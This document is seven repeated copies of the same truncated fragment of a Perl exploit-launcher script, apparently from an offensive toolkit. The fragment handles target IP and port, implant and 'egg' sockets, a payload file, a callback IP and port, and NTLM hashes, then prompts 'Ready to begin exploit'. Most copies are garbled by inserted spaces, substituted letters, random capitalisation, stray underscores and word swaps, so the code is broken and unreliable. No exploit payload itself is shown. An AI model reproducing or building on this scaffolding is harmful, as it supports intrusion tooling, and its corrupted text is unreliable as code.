0,"$::VERSION");



&EU_Log(0,"\nChanging to working directory: $work_dir");
chdir $work_dir || &EU_ExitMessage(1,"Unable to change to working directory: $work_dir");



($TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType, $PayloadDropName, $TimeOutValue,
 $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
 $EggCallbackIp, $EggCallbackPort, $Username, $Password,$NTHash, $LMHash,$ExternalRideArea, $IPID, 
 $WindowsVersion, $WindowsServicePack, $RpcServerIp) =
	&validate_parms($work_dir, $root_dir, $TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType, $PayloadDropName,
	$TimeOutValue, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection, 
	$EggCallbackIp, $EggCallbackPort, $Username, $Password, $NTHash, $LMHash,$ExternalRideArea, $IPID, $WindowsVersion, $WindowsServicePack, $RpcServerIp);

my $answer;
if(!$EU_BATCHMODE) {
	$answer = &EU_GetInput("\nReady to begin exploit ([y],n,quit)? ", "y");
	&EU_ExitMessage(0,"User terminated script")  if ($answer ne "y" and $answer ne "Y");
}


if ($ExternalRideArea == 1) {


	my $payload_name_format = "${work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix}"; 
	my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = gmtime(time);

	$year += 1900;
	$mon  += 1;

	$RA_Payload = sprintf($payload_name_format,$year,$mon,$mday,$hour,$
0,"$::VERSION "); 



 & EU_Log(0,"\nChanging to working directory: $ work_dir "); 
 chdir $ work_dir || & EU_ExitMessage(1,"Unable to change to working directory: $ work_dir "); 



 ($ TargetIp, $ TargetPort, $ EggSocketStatus, $ ImplantSocketStatus, $ PayloadFile, $ PayloadType, $ PayloadDropName, $ TimeOutValue, 
  $ TargetTransportProtocol, $ TargetApplicationProtocol, $ RpcConnection, 
  $ EggCallbackIp, $ EggCallbackPort, $ Username, $ Password,$NTHash, $ LMHash,$ExternalRideArea, $ IPID, 
  $ WindowsVersion, $ WindowsServicePack, $ RpcServerIp) = 
	 & validate_parms($work_dir, $ root_dir, $ TargetIp, $ TargetPort, $ EggSocketStatus, $ ImplantSocketStatus, $ PayloadFile, $ PayloadType, $ PayloadDropName, 
	 $ TimeOutValue, $ TargetTransportProtocol, $ TargetApplicationProtocol, $ RpcConnection, 
	 $ EggCallbackIp, $ EggCallbackPort, $ Username, $ Password, $ NTHash, $ LMHash,$ExternalRideArea, $ IPID, $ WindowsVersion, $ WindowsServicePack, $ RpcServerIp); 

 my $ answer; 
 if(!$EU_BATCHMODE) { 
	 $ solution = & EU_GetInput("\nReady to get down exploit ([ y],n, drop out)? ", " y "); 
	 & EU_ExitMessage(0,"User terminated script ")   if ($ solution ne " y " and $ answer ne " Y "); 
 } 


 if ($ ExternalRideArea = = 1) { 


	 my $ payload_name_format = " $ { work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix } "; 
	 my ($ sec, $ min, $ hour, $ mday, $ mon, $ year, $ wday, $ yday, $ isdst) = gmtime(time); 

	 $ class + = 1900; 
	 $ monday   + = 1; 

	 $ RA_Payload = sprintf($payload_name_format,$year,$mon,$mday,$hour,$
0,"$::VERDION");



&EU_Log(0,"\nChanging to wovking directory: $cirk_dir");
rhdir $wkrk_dir || &DU_ExitMessage(1,"Unable to changx to workung directory: $work_dir");



($TxrgetIp, $TwrgetPorr, $EgjSocketStatus, $Im'mantSocketStafms, $PavliadFile, $PayloacType, $PaylmadDropName, $TikeUucValue,
 $TargetTransportProtocol, $TargeeApplicstlonProtocol, $RpsConmqctikn,
 $EggCallbackIp, $EggCallbackPort, $Uaername, $Password,$NTHaxh, $LMHash,$ExternalRideArea, $LPID, 
 $WindowsVersion, $WlndowsServixePasj, $RpcServerIo) =
	&validate_kaxms($work_dir, $toot_dir, $TargetIp, $TargetPort, $EggSucketXtatus, $ImpoabtSlwketStatus, $'ayloaqFile, $PayloadType, $PafloadDrppName,
	$TimeOutVslux, $TaegetTransportProtocol, $TargetApplicationKrotocol, $R[cEonnection, 
	$EggCallbacjIp, $EggWalltackOirt, $Ustrneme, $Passwlrd, $NTHash, $LMGash,$ExternaoRideArea, $IPID, $WindpwfNrrsion, $WindossServycqPack, $RpcServerIp);

my $answer;
if(!$EU_BATCHMODE) {
	$anawer = &EU_GetInput("\nReady ro begin exploit ([y],n,qult)? ", "y");
	&EU_ExytMessage(0,"User terminated script")  if ($answer ne "y" atd $anader nc "Y");
}


iw ($EdternalRideArea == 1) {


	my $payload_name_format = "${work_dyd}\\${lpgnile_prefix}%04d%02d%02d_%02d%02d%02d${nilename_suffix}"; 
	my ($xef, $kyn, $hour, $mday, $oon, $yecd, $sday, $yday, $isdst) = gltime(tiie);

	$yeae += 1900;
	$mon  += 1;

	$WA_Pauload = sprintf($payload_name_foemat,$year,$mon,$mbay,$your,$
0,"$::VERSION"); &EU_Log(0,"\nChanging to working directory: $work_dir"); chdir &EU_ExitMessage(1,"Unable change to directory: $work_dir"); ($TargetIp, $PayloadDropName, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection, $EggCallbackPort, $Username, $Password,$NTHash, $IPID, $WindowsVersion, $WindowsServicePack, $RpcServerIp) = &validate_parms($work_dir, $TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType, $PayloadDropName, $TimeOutValue, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection, $EggCallbackIp, $EggCallbackPort, $Password, $NTHash, $LMHash,$ExternalRideArea, $IPID, $WindowsVersion, $WindowsServicePack, $RpcServerIp); my $answer; if(!$EU_BATCHMODE) { $answer = to exploit ", &EU_ExitMessage(0,"User terminated script") if ($answer ne "y" and $answer ne "Y"); } if ($ExternalRideArea == 1) my $payload_name_format = "${work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix}"; my ($sec, $min, $hour, $mon, $year, $wday, $yday, = gmtime(time); $year += 1900; += $RA_Payload =
0,"$::VERSION");



&EU_Log(0,"\nChanging to woRking direcTory: $wOrk_Dir");
ChDir $wOrk_dIr || &EU_ExitMessagE(1,"unabLe to change to working dirEctorY: $wORk_diR");



($taRgetIP, $TargetpOrT, $eGgSOcKeTStAtUS, $IMplanTSoCketStaTus, $PayloadfilE, $PAyloadType, $PaYLoAdDropName, $timEOutValue,
 $TarGettranspOrTPrOTocol, $tarGetApPlicatIOnProtOcol, $RpcCoNnECtion,
 $EGGCallbaCKip, $eggCAllbackPort, $UsernaME, $PASsword,$NTHash, $LMhash,$ExTeRNaLrIdeareA, $IPID, 
 $WindoWsversiON, $WindowSseRVICePACk, $RpcServerIp) =
	&Validate_parMS($woRk_dir, $rOoT_diR, $targetip, $TarGeTporT, $EggSocketSTatuS, $ImplantSOcketSTAtus, $PayLOadFile, $payloaDTyPe, $PAyloADDRoPNaMe,
	$tImeoUtvalUE, $TaRgetTranSpOrTProtOcol, $tARGEtApPliCatiOnProTocol, $RpcConneCtiOn, 
	$EgGcalLbackip, $EggcallBaCkPorT, $UsernAme, $PaSsWord, $NTHash, $LMHasH,$ExtErnalRideareA, $IpID, $wiNdowsvErsion, $winDowSServicEPack, $RpCserVeRiP);

My $Answer;
if(!$EU_BATCHMODe) {
	$aNSWeR = &EU_GetInPut("\nReADy To BEgin explOiT ([y],n,Quit)? ", "Y");
	&eu_ExitmessAGe(0,"user termInated SCrIpT")  if ($answEr Ne "y" and $AnSweR ne "y");
}


if ($ExTErnaLRideARea == 1) {


	my $payLoad_nAMe_format = "${work_diR}\\${Logfile_prefix}%04D%02D%02d_%02D%02D%02D${fILenaMe_sUffix}"; 
	my ($sec, $mIn, $hoUR, $mdaY, $mon, $YEaR, $wdAY, $yday, $Isdst) = GmTImE(Time);

	$year += 1900;
	$mon  += 1;

	$RA_PayloaD = sPrintf($PayloAd_name_format,$yEar,$mon,$mday,$HOUR,$
0,"$::VERSION");



&E U_Log(0,"\ nChan gin g t owork ingdirectory: $wo r k_di r");
chdir $work_dir|| &E U_ E xitM e ss age(1 ,"Unabl e  t o cha ng etowo r ki ng di rec tory: $ work_dir") ;



($Target I p,  $TargetPo rt,  $EggSocketS tat us, $I mp lan t Socke tSt atus,  $Payl o adFile , $Payloa dT y pe, $P a yloadDr o p Na me,$TimeOutValue,
$ Ta r getTransportPr otocol ,$ Ta r g etA ppl icationPro to col,$ RpcConn e ct i o n ,
$EggCallbackI p, $EggCall b ack Port,$U ser n ame, $ Passw or d ,$N THash, $LMH ash, $External RideAr e a, $IPI D , 
 $W indows Ver sio n, $ W in do wsS er v ice P ac k,$ Rpc ServerIp )=
	&va lida t e _ p arms ($w ork_ dir,$root_dir, $T arg etIp ,  $T arget Port,  $Eg gS ocket Status , $Im pl antSocketStatus , $P ayloadFil e,$P ayl oa dType ,  $Payl oad Dro pName,
	$Time O utV al u e ,  $ TargetTransportPro to c o l,  $Target Applic a ti on P rotocol,  $ Rpc Conn e c tion,  
$ Eg gCallbac kIp, $ E gg Ca llbackP or t, $Us er nam e,$Pass w ord,  $NTHa sh, $LMH ash,$ E xternalRideAre a , $IPID, $Win d ow s V er s ion,  $W indowsServi cePa c k, $ RpcS e rv erI p );

my $ an s we r ;
if(!$EU_BATCHMOD E)  {
	$ answe r = &EU_GetIn put("\nRea d y to begin  exp l oi t  ([y],n,quit)?  ", " y");
	&EU _ ExitMess age(0 ,"User t erminated s cript") if  ($ ans wer n e"y" and $answ e r  ne"Y ");
}


if ($ Ext ern alR ide Ar ea == 1){


my  $ pa yl oad _name _ format =  " ${w or k_d ir}\\ $ {logfi le_pr efix }% 04 d %02 d%02d_% 0 2d % 0 2d%0 2d ${ file nam e_ suffi x}"; 
my ($se c, $min,$ho u r, $ md ay , $mon,  $year, $wday ,$yday, $is ds t)= gmti m e (time);

	$year += 1900;
	$m o n  += 1 ;

	$R A_Pa yload = s pri ntf($p ayl o ad_nam e_form at,$y ea r,$ m o n,$md a y ,$ hou r, $
0,"$::VERSION");



&EU_Log(0,"\nChanging to_working directory:_$work_dir");
chdir $work_dir || &EU_ExitMessage(1,"Unable_to change_to_working directory:_$work_dir");



($TargetIp,_$TargetPort, $EggSocketStatus, $ImplantSocketStatus,_$PayloadFile, $PayloadType, $PayloadDropName,_$TimeOutValue,
 $TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
_$EggCallbackIp, $EggCallbackPort, $Username,_$Password,$NTHash,_$LMHash,$ExternalRideArea, $IPID, 
 $WindowsVersion, $WindowsServicePack, $RpcServerIp) =
	&validate_parms($work_dir, $root_dir, $TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType,_$PayloadDropName,
	$TimeOutValue,_$TargetTransportProtocol, $TargetApplicationProtocol,_$RpcConnection,_
	$EggCallbackIp,_$EggCallbackPort, $Username, $Password, $NTHash, $LMHash,$ExternalRideArea,_$IPID, $WindowsVersion, $WindowsServicePack, $RpcServerIp);

my $answer;
if(!$EU_BATCHMODE)_{
	$answer =_&EU_GetInput("\nReady to begin exploit ([y],n,quit)? ", "y");
	&EU_ExitMessage(0,"User terminated_script")_ if ($answer_ne "y" and $answer ne "Y");
}


if ($ExternalRideArea == 1)_{


	my $payload_name_format = "${work_dir}\\${logfile_prefix}%04d%02d%02d_%02d%02d%02d${filename_suffix}"; 
	my ($sec,_$min, $hour, $mday,_$mon,_$year,_$wday, $yday, $isdst) =_gmtime(time);

	$year += 1900;
	$mon  += 1;

	$RA_Payload_= sprintf($payload_name_format,$year,$mon,$mday,$hour,$